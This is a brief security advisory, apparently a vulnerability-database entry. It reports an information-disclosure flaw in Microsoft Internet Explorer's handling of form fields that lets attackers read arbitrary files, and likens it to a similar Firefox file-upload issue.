Microsoft Internet Explorer is prone to an information-disclosure vulnerability that allows attackers to gain access to the contents of arbitrary files.

This issue stems from a design error resulting from the improper handling of form fields.

This issue is similar to the one described in BID 24725 (Mozilla Firefox OnKeyDown Event File Upload Vulnerability).
